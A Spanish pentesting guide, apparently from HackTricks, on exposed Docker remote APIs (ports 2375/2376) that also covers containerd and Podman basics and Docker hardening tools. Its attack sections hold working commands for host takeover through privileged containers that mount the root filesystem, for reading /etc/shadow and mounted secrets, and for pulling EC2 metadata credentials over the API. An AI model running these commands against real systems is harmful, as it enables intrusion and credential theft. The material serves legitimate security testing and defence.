2375, 2376 Pentesting Docker

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Docker Basics

Qué es

Docker es la plataforma líder en la industria de la containerización, impulsando la innovación continua. Facilita la creación y distribución sin esfuerzo de aplicaciones, desde tradicionales hasta futuristas, y asegura su despliegue seguro en entornos diversos.

Arquitectura básica de Docker

  • containerd: Este es un entorno de ejecución central para contenedores, encargado de la gestión del ciclo de vida de un contenedor. Esto incluye el manejo de la transferencia y almacenamiento de imágenes, además de supervisar la ejecución, monitorización y redes de los contenedores. Más detalles sobre containerd se exploran más adelante.
  • El container-shim desempeña un papel crítico como intermediario en el manejo de contenedores headless, haciéndose cargo de runc después de que los contenedores se inicializan.
  • runc: Reconocido por sus capacidades como runtime ligero y universal para contenedores, runc se alinea con el estándar OCI. Es utilizado por containerd para iniciar y gestionar contenedores conforme a las directrices OCI, habiendo evolucionado desde el original libcontainer.
  • grpc es esencial para facilitar la comunicación entre containerd y el docker-engine, asegurando una interacción eficiente.
  • OCI es fundamental para mantener las especificaciones OCI para runtime e imágenes, siendo las versiones más recientes de Docker compatibles con los estándares de imagen y runtime de OCI.

Comandos básicos

docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
#  - all stopped containers
#  - all networks not used by at least one container
#  - all images without at least one container associated to them
#  - all build cache

Containerd

Containerd fue desarrollado específicamente para atender las necesidades de plataformas de contenedores como Docker and Kubernetes, entre otras. Su objetivo es simplificar la ejecución de contenedores en diversos sistemas operativos, incluyendo Linux, Windows, Solaris y otros, mediante la abstracción de funcionalidades y llamadas al sistema específicas del sistema operativo. La meta de Containerd es incluir solo las características esenciales requeridas por sus usuarios, procurando omitir componentes innecesarios. Sin embargo, se reconoce que lograr esta meta por completo es un desafío.

Una decisión de diseño clave es que Containerd no se encarga de las redes. Las redes se consideran un elemento crítico en sistemas distribuidos, con complejidades como Software Defined Networking (SDN) y descubrimiento de servicios que varían significativamente de una plataforma a otra. Por lo tanto, Containerd deja los aspectos de redes para que sean gestionados por las plataformas que soporta.

Si bien Docker utiliza Containerd para ejecutar contenedores, es importante notar que Containerd solo soporta un subconjunto de las funcionalidades de Docker. Específicamente, Containerd carece de las capacidades de gestión de redes presentes en Docker y no soporta la creación de Docker swarms directamente. Esta distinción pone de manifiesto el rol focalizado de Containerd como entorno de ejecución de contenedores, delegando funcionalidades más especializadas a las plataformas con las que se integra.

#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>

Podman

Podman es un motor de contenedores de código abierto que sigue los Open Container Initiative (OCI) standards, desarrollado y mantenido por Red Hat. Se diferencia de Docker en varias características, destacando su arquitectura sin daemon y el soporte para contenedores rootless, lo que permite a los usuarios ejecutar contenedores sin privilegios de root.

Podman está diseñado para ser compatible con la API de Docker, permitiendo el uso de comandos CLI de Docker. Esta compatibilidad se extiende a su ecosistema, que incluye herramientas como Buildah para construir imágenes de contenedores y Skopeo para operaciones sobre imágenes como push, pull e inspect. Más detalles sobre estas herramientas se pueden encontrar en su GitHub page.

Diferencias clave

  • Arquitectura: A diferencia del modelo cliente-servidor de Docker con un daemon en segundo plano, Podman opera sin daemon. Este diseño significa que los contenedores se ejecutan con los privilegios del usuario que los inicia, mejorando la seguridad al eliminar la necesidad de acceso root.
  • Integración con systemd: Podman se integra con systemd para gestionar contenedores, permitiendo la administración mediante unidades systemd. Esto contrasta con el uso que hace Docker de systemd principalmente para gestionar el proceso del daemon de Docker.
  • Contenedores rootless: Una característica clave de Podman es su capacidad para ejecutar contenedores con los privilegios del usuario que los inició. Este enfoque minimiza los riesgos asociados a compromisos de contenedores al asegurar que un atacante obtenga solo los privilegios del usuario comprometido, no el acceso root.

El enfoque de Podman ofrece una alternativa segura y flexible a Docker, enfatizando la gestión de privilegios de usuario y la compatibilidad con flujos de trabajo existentes de Docker.

Tip

Ten en cuenta que, dado que Podman pretende soportar la misma API que Docker, puedes usar los mismos comandos con podman que con docker, tales como:

podman --version
podman info
pdoman images ls
podman ls

Información básica

Remote API se ejecuta por defecto en el puerto 2375 cuando está habilitada. El servicio por defecto no requerirá autenticación, lo que permite a un atacante iniciar un contenedor docker con privilegios. Usando la Remote API se puede adjuntar hosts / (root directory) al contenedor y leer/escribir archivos del entorno del host.

Puerto por defecto: 2375

PORT    STATE SERVICE
2375/tcp open  docker

Enumeración

Manual

Ten en cuenta que para enumerar la API de docker puedes usar el comando docker o curl como en el siguiente ejemplo:

#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}

#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version:           19.03.1
API version:       1.40
Go version:        go1.12.5
Git commit:        74b1e89
Built:             Thu Jul 25 21:21:05 2019
OS/Arch:           linux/amd64
Experimental:      false

Server: Docker Engine - Community
Engine:
Version:          19.03.1
API version:      1.40 (minimum version 1.12)
Go version:       go1.12.5
Git commit:       74b1e89
Built:            Thu Jul 25 21:19:41 2019
OS/Arch:          linux/amd64
Experimental:     false
containerd:
Version:          1.2.6
GitCommit:        894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version:          1.0.0-rc8
GitCommit:        425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version:          0.18.0
GitCommit:        fec3683

Si puedes contactar la API remota de docker con el comando docker puedes ejecutar cualquiera de los docker commands previously commented para interactuar con el servicio.

Tip

Puedes export DOCKER_HOST="tcp://localhost:2375" y evitar usar el parámetro -H con el comando docker

Fast privilege escalation

docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash

Curl

A veces verás 2376 abierto para el endpoint TLS. No he podido conectarme a él con el docker client, pero es posible hacerlo con curl.

#List containers
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
#Get the output
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)
curl -s –insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune

Si quieres más información sobre esto, hay más detalles en la fuente de donde copié los comandos: https://securityboulevard.com/2019/02/abusing-docker-api-socket/

Automático

msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>

Compromising

En la siguiente página puedes encontrar formas de escape from a container:

Container Security

Abusando de esto, es posible realizar un escape from a container; podrías ejecutar un contenedor débil en la máquina remota, escape from it, y comprometer la máquina:

docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow

Privilege Escalation

Si estás dentro de un host que está usando docker, puedes read this information to try to elevate privileges.

Descubriendo secretos en contenedores Docker en ejecución

docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>

Revisa env (sección de variables de entorno) en busca de secretos y podrías encontrar:

  • Contraseñas.
  • IPs.
  • Puertos.
  • Rutas.
  • Otros… .

Si quieres extraer un archivo:

docker cp <docket_id>:/etc/<secret_01> <secret_01>

Asegurando tu Docker

Asegurando la instalación y el uso de Docker

  • Puedes usar la herramienta https://github.com/docker/docker-bench-security para inspeccionar tu instalación actual de docker.
  • ./docker-bench-security.sh
  • Puedes usar la herramienta https://github.com/kost/dockscan para inspeccionar tu instalación actual de docker.
  • dockscan -v unix:///var/run/docker.sock
  • Puedes usar la herramienta https://github.com/genuinetools/amicontained para comprobar los privilegios que tendrá un contenedor cuando se ejecute con diferentes opciones de seguridad. Esto es útil para conocer las implicaciones de usar algunas opciones de seguridad al ejecutar un contenedor:
  • docker run --rm -it r.j3ss.co/amicontained
  • docker run --rm -it --pid host r.j3ss.co/amicontained
  • docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained

Asegurando las imágenes de Docker

  • Puedes usar una imagen de Docker de https://github.com/quay/clair para que escanee tus otras imágenes de Docker y encuentre vulnerabilidades.
  • docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"
  • clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image

Asegurando Dockerfiles

Registrando actividad sospechosa

  • Puedes usar la herramienta https://github.com/falcosecurity/falco para detectar comportamientos sospechosos en contenedores en ejecución.
  • Fíjate en el siguiente fragmento cómo Falco compila un módulo del kernel y lo inserta. Después de eso, carga las reglas y comienza a registrar actividades sospechosas. En este caso ha detectado 2 contenedores privilegiados iniciados, 1 de ellos con un montaje sensible, y después de unos segundos detectó que se abrió una shell dentro de uno de los contenedores.
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco

Kernel preparation unnecessary for this kernel.  Skipping...

Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......

DKMS: build completed.

falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory

depmod...

DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)

Monitorización de Docker

Puedes usar auditd para monitorizar docker.

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

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